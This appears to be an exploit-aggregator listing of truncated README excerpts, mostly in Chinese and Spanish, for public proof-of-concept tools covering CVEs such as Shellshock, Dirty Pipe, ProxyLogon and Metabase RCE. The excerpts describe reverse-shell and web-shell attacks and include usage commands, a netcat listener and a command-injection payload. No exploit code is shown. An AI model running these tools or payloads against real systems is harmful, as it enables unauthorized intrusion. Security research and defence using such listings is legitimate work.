Shellshock

Shellshock 漏洞利用 CVE-2014-6271 漏洞利用 描述 该仓库包含针对影响 Unix 系统的漏洞的利用代码。请注意，这仅是一个用于教育目的的概念验证脚本，应负责任地使用。 此利用代码旨在演示 Shellshock 攻击的工作原理，以及如何通过恶意构造的请求头获取系统 shell 访问权限。 免责声明 此仓库仅用于教育目的。请勿将此代码或其中包含的任何信息用于恶意目的。始终遵守道德准则并尊重法律。 使用方法： root@kitploit: python3 shellshock.py 目标 URL 本机 IP 本机端口 示例： root@kitploit: python3...

CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-DirtyPipe-Exploit 这是什么 这是 Max Kellermann 对 Dirty Pipe 的概念验证代码，但经过修改，可覆盖 /etc/passwd 中 root 的密码字段，并在弹出 root shell 后恢复原样。 附注： 我并不声称发现了该漏洞或编写了概念验证代码。本利用工具仅仅是对 Kellermann 概念验证代码的微小修改，旨在实现快速/简便的利用。请务必抽时间阅读关于这个极其有趣漏洞的原始文章 @ https://dirtypipe.cm4all.com/。它确实值得你花时间去理解。 如何使用 1. 使用 ./compile....

CVE-2025-1304

🚨 WordPress NewsBlogger 主题 = 0.2.5.1 - 任意文件上传 CVE-2025-1304 CVSS 评分： 8.8（高危） 漏洞类型： 任意文件上传 组件： WordPress 主题 CVE 编号： CVE-2025-1304 🔥 漏洞概述 WordPress NewsBlogger 主题（版本 = 0.2.5.1）存在一个通过管理员欢迎面板触发的 任意文件上传 漏洞。 该漏洞允许任何经过身份验证的用户——包括拥有最低 订阅者 角色的用户——上传包含 Web Shell 的恶意 .zip 压缩包。 上传过程通过一个未经验证的插件 URL...

CVE-2023-50564

CVE-2023-50564 仅供教育目的使用。 此脚本利用 CVE-2023-50564 向目标服务器上传一个反向 PHP 壳。 你可以使用类似 这个 的壳。只需将 PHP 文件压缩成 zip，然后将 zip 传递给此脚本。 示例 root@kitploit: python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p hunter2...

CVE-2023-23752

安装 root@kitploit: git clone https://github.com/0xx01/CVE-2023-23752.git cd CVE-2023-23752 chmod +x exploit.sh 用法 root@kitploit: ./exploit.sh http://localhost...

CVE-2022-36804-ReverseShell

原始项目 https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit 一个相对可靠的 CVE-2022-36804（BitBucket 严重命令注入）PoC 利用程序。该攻击通常需要启用公共仓库，但会话 cookie 也与此利用程序兼容。注意：此利用程序包含自动仓库检测功能，如果你不想手动查找开放的仓库，这将非常方便。 安装方法 root@kitploit: git clone...

CVE-2014-6271

CVE-2014-6271 Shellshock 漏洞扫描器...

CVE-2023-34039

CVE-2023-34039 POC para CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight RCE por clave SSH estática Análisis técnico Puede encontrar un análisis de causa raíz de la vulnerabilidad en mi blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039...

CVE-2021-32160

..| XSS a usuario privilegiado |.. Descripción : Explotando un ataque de Cross-Site Scripting XSS reflejado para crear un usuario privilegiado a través de la función de añadir usuarios de Webmin, luego obteniendo una reverse shell a través de la función de procesos en ejecución de Webmin Versión...

Poison-HTB-Report

Poison-HTB-报告 使用 PwnKit CVE-2021-4034 在 HTB "Poison" 上进行权限提升 HTB "Poison" - 权限提升报告 BugVex 此仓库包含关于 Hack The Box 机器 Poison 的完整漏洞报告。 🔍 漏洞利用摘要 CVE: CVE-2021-4034 PwnKit 技术: 通过环境变量操作进行权限提升 影响: 从非特权用户获得 root shell 使用的工具: Nmap, Gobuster, LinPEAS, GCC, Burp Suite, GDB 🧠 备注 此报告是我的漏洞赏金和渗透测试档案的一部分。 由 BugVex...

CVE-2022-31814

CVE-2022-31814 更新后的利用工具 - pfBlockerNG = 2.1.426 未授权远程代码执行 CVE-2022-31814 描述 该脚本是针对 pfBlockerNG = 2.1.426 的概念验证利用工具，可实现远程代码执行。它接受单个目标 URL 或 URL 列表，尝试使用多个载荷上传 Shell，执行命令，然后删除 Shell。 环境要求 此脚本需要 Python 3.x 并安装 requests 模块。您可以通过运行以下命令来安装这些模块： root@kitploit: pip3 install requests 或者 root@kitploit: pip3...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell RCE en Webmin url objetivo c - credenciales para webmin sl - IP y puerto de tu servidor local para alojar tu payload s - IP de callback p - puerto de callback Referencias https://www.webmin.com/security.html...

CVE-2022-33891

「💥」CVE-2022-33891 描述 Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。配合身份验证过滤器，该功能会检查用户是否具有查看或修改应用程序的访问权限。如果 ACL 已启用，HttpSecurityFilter 中的某条代码路径可能允许攻击者通过提供任意用户名来执行冒充操作。恶意用户随后可能能够访问一个权限检查函数，该函数最终会根据其输入构建一个 Unix shell 命令并执行它。这将导致以 Spark 当前运行的用户身份执行任意 shell 命令。此漏洞影响 Apache Spark 3.0.3...

CVE-2019-7214

Windows Reverse Shell Exploit PowerShell sobre TCP Este script de Python apunta a un servicio vulnerable que se ejecuta en una máquina Windows remota. Envía un payload .NET serializado que lanza una reverse shell basada en PowerShell de vuelta a la máquina del atacante. CVE-2019-7214 Ejecución...

Flangvik

Flangvik C POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…...

Chamilo-LMS-CVE-2023-4220-Exploit

Chamilo LMS CVE-2023-4220 漏洞利用 概述 该脚本利用了 Chamilo LMS 版本 ≤ v1.11.24 中的一个远程代码执行（RCE）漏洞。该漏洞（CVE-2023-4220）源于 Chamilo LMS 的 bigUpload.php 功能中存在的无限制文件上传漏洞，允许攻击者上传任意文件（如 Web Shell）并执行，从而导致服务器完全被远程代码执行。 该脚本由 Divine Clown 进行了增强，以简化利用过程，自动生成反向 Shell 文件，上传到目标，并启动监听器，使攻击者能够直接访问 Shell。 CVE 详情 CVE ID...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSS 到 RCE 漏洞利用脚本 概述 这些脚本利用 WonderCMS 4.3.2 中的 XSS（跨站脚本）漏洞来实现 远程代码执行（RCE） 。当管理员触发 XSS 载荷时，它会通过一个精心构造的恶意主题模块自动在目标服务器上安装反向 Shell。反向 Shell 从 revshells.com 获取并执行，从而使攻击者获得对服务器的远程访问权限。 目录 前提条件 脚本1：自动利用脚本 功能特性 使用方法 脚本2：手动利用脚本 功能特性 使用方法 注意 许可证 前提条件 要成功运行任一脚本，需满足以下工具和条件： 1. Bash Shell...

CVE-2024-52375

WordPress Datasets Manager 💥 Exploit por: Nxploit Khaled Alenazi 📅 CVE Publicado: 14 de noviembre de 2024 🧠 Puntuación CVSS: 10.0 Crítico 🛠 CWE-434: Subida sin restricciones de archivos con tipo peligroso 📌 Descripción Se descubrió una vulnerabilidad crítica en el plugin de WordPress Datasets...

CVE-2025-29279

CVE-2025-29279 要利用此漏洞，攻击者需在诊断部分的 Traceroute6 诊断的 "主机地址" 中插入 payload example.com;echo 'testing'...

CVE-2023-38646

CVE-2023-38646 针对 CVE-2023-38646 的 Python RCE 漏洞利用程序 使用方法 启动监听器 root@kitploit: nc -lvnp 运行漏洞利用程序 root@kitploit: python3 CVE-2023-38646.py -u -l -p 帮助 root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help...